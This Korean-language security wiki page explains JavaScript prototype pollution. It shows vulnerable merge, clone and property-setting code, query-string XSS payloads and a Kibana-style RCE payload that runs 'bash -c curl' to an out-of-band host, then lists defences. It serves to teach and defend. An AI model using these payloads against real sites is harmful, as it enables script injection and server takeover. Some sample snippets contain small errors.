Prototype Pollution
Introduction
Prototype Pollution은 Javascript 처리 로직의 문제로 Object 들의 prototype을 수정할 수 있을 때 발생하는 보안 문제를 의미합니다. Object의 protype을 변경할 수 있는 경우 의도된 로직을 벗어나거나 DOM에 관여하여 XSS 등의 추가적인 문제를 발생시킬 수 있습니다.
let myObj = {}
myObj['__proto__']['a'] = 'a’
// myObj의 prototype(__proto__) 의 a에 a를 넣습니다.
console.log(myObj.a)
let newObj = {}
// 이후 newObj라는 Object를 만들었는데,
// log를 보면 a가 찍힙니다. Object prototype이 바뀌었기 때문입니다.
console.log(newObj.a)
Prototype Pollution
Object.__proto__
Object.constructor.prototype
Property Access
DOM Clobbering과 유사하게 Javascript에서 Array, JSON 등은 Object에서 하위 Object를 참고하는 것과 동일하게 사용됩니다.
var obj = {"a":1,"b":function(){return 99;}};
var name1 = "a";
obj.a // 1
obj.["a"] //1
obj[name1] // 1
var name2 = "b";
obj.b // 99
obj.["b"] // function
obj[name2] // function
Magic Property
프로토타입은 setter/getter Magic Property이기 때문에 프로토타입의 리턴을 설정할 수 있습니다. 그래서 아래와 같이 Number 객체의 prototype을 pollution하여 toString() 함수가 우리가 의도한 함수로 동작하도록 바꿀 수 있습니다. 이러한 공격을 Prototype Pollution이라고 합니다.
var test1 = 1; // int (Number)
var test2 = 2; // int (Number)
console.log(test1.constructor); // function Number()
console.log(test2.constructor); // function Number()
console.log(test2.toString()); // "2"
test1.constructor.prototype.toString = function(){return "hacked"}
console.log(test2.toString()); // "hacked"
Offensive techniques
Detect
Attack Vector
보편적으로 __proto__
를 통한 Prototype 수정 방법이 많이 알려져 있습니다. 다만 이외에도 constructor 등을 통해서도 가능하니 알아두시면 좋습니다.
Object.__proto__
Object.constructor.prototype
Set Property
사용자가 통제할 수 있는 입력 구간에서 값을 읽어 Property에 설정하는 로직이 있는 경우 __proto__
와 같은 property를 변경하여 pollution이 가능합니다.
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
const obj1 = {};
setValue(obj1, "__proto__.hacked", 45);
const obj2 = {};
obj2.hacked; // 1
Object Merge
Object 2개를 병합하는 merge 형태의 경우도 Prototype Pollution에 취약합니다.
function merge(a, b) {
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"hacked":45}}');
merge(obj1, obj2);
const obj3 = {};
obj3.hacked; // 45
Object Copy
merge({}, obj)
등을 이용한 Copy 로직도 Prototype Pollution에 취약합니다. 특히나 merge({}, obj)
로직은 알려진 Javascript 라이브러리에서 많이 나오는 문제점입니다.
function clone(obj) {
return merge({}, obj);
}
const obj1 = JSON.parse('{"__proto__":{"hacked":45}}');
const obj2 = clone(obj1);
const obj3 = {};
obj3.polluted; // 45
Object recursive merge
아래와 같이 재귀적으로 merge 하는 경우도 대표적인 취약 모델 중 하나입니다.
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
parseQueryString
parseQueryString
, m.parseQueryString
등과 같이 URL Query에서 값을 파싱하여 Object로 사용하는 경우 단순히 웹 페이지에 임의의 Query를 넣는 형태로도 Pollution을 유도할 수 있습니다.
GET /?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
이렇게 쿼리 파싱인 경우 ppfuzz 를 도구를 이용하여 쉽게 체크할 수 있습니다.
ppfuzz -l urls.txt
또한 JSON 포맷을 처리하는 형태도 비슷하게 적용받습니다.
GET /?__proto__{"innerHTML": "<img/src/onerror%3dalert(1)>"}
Library 별 Payloads
- https://github.com/BlackFan/client-side-prototype-pollution
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
ZAP Scripting
Prototype Pollution을 쉽게 식별하게 위해서 ZAP에서 Passive 스크립트를 하나 만들어뒀습니다. 해당 패시브 스크립트를 적용하시면 아래와 같이 Response에 알려진 Prototype Pollution 취약 코드가 있는 경우 Alerts에서 Medium 이슈로 표기해줍니다 😎
Exploitation
XSS
Prototype Pollution의 대표적인 리스크는 XSS입니다. Object의 Prototype을 변경할 수 있기 떄문에 이후 Object의 생성이나 사용단에 관여하여 임의로 스크립트가 동작될 수 있도록 변경할 수 있습니다.
e.g
GET /?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
GET /?__proto__[context]=<img/src/onerror%3dalert(1)>
GET /?__proto__[onload]=alert(1)
GET /?__proto__[src][]=data:,alert(1)//
GET /?__proto__[url]=data:,alert(1)//
localStorage pollution
만약 서비스에서 localStorage를 사용할 때 set()
함수가 아닌 getter를 사용하는 경우 Prototype Pollution에 취약합니다. 만약 localStorage에 mydebug 값을 가지고 FE의 설정을 변경한다고 가정하고, FE에서 getter로 이를 가져와서 분기하는 경우 아래와 같이 악용이 가능합니다.
// localStorage.mydebug is false
// Pollution!
const obj2 = JSON.parse('{"__proto__":{"mydebug":true}}');
merge(obj1, obj2);
// localStorage.mydebug is true
if localStorage.mydebug {
// some debug logic..
}
Bypass any protection
Object의 값을 통제할 수 있기 때문에 Javascript 내부에서 존재하는 통제 로직은 에러를 유도하거나 다른 분기를 유도하여 우회할 수 있습니다.
RCE
Javascript가 동작하는 구간(e.g NodeJS)에 따라서 Server-side의 문제로 번질 수 있습니다.
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c curl <OAST>");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
Defensive techniques
Object.freeze
대표적인 방법으론 Object.freeze (Object.prototype)
를 사용하여 prototype을 freeze 합니다. 그러면 이후에 prototype을 변경할 수 없어 Pollution을 예방할 수 있습니다.
Not use Recursive merge
Recursive merge는 사용하지 않는 것이 좋습니다.
Using objects without prototypes
Object.create(null)
와 같이 prototype이 없는 object를 이용하여 pollution을 방지할 수 있습니다.
Object to Map
Object 기반의 로직을 Map으로 바꾸어 pollution을 예방할 수 있습니다.
Update JS Library
JS 라이브러리에 Prototype Pollution을 경우도 많습니다. 이러한 경우 가급적 패치 버전, 최신 버전으로 업데이트하는 것이 좋습니다.
Tools
- https://github.com/dwisiswant0/ppfuzz
- https://github.com/hahwul/fuzzstone/blob/main/zap-scripts/passive/findPrototypePollution.js
Articles
References
- https://github.com/BlackFan/client-side-prototype-pollution
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution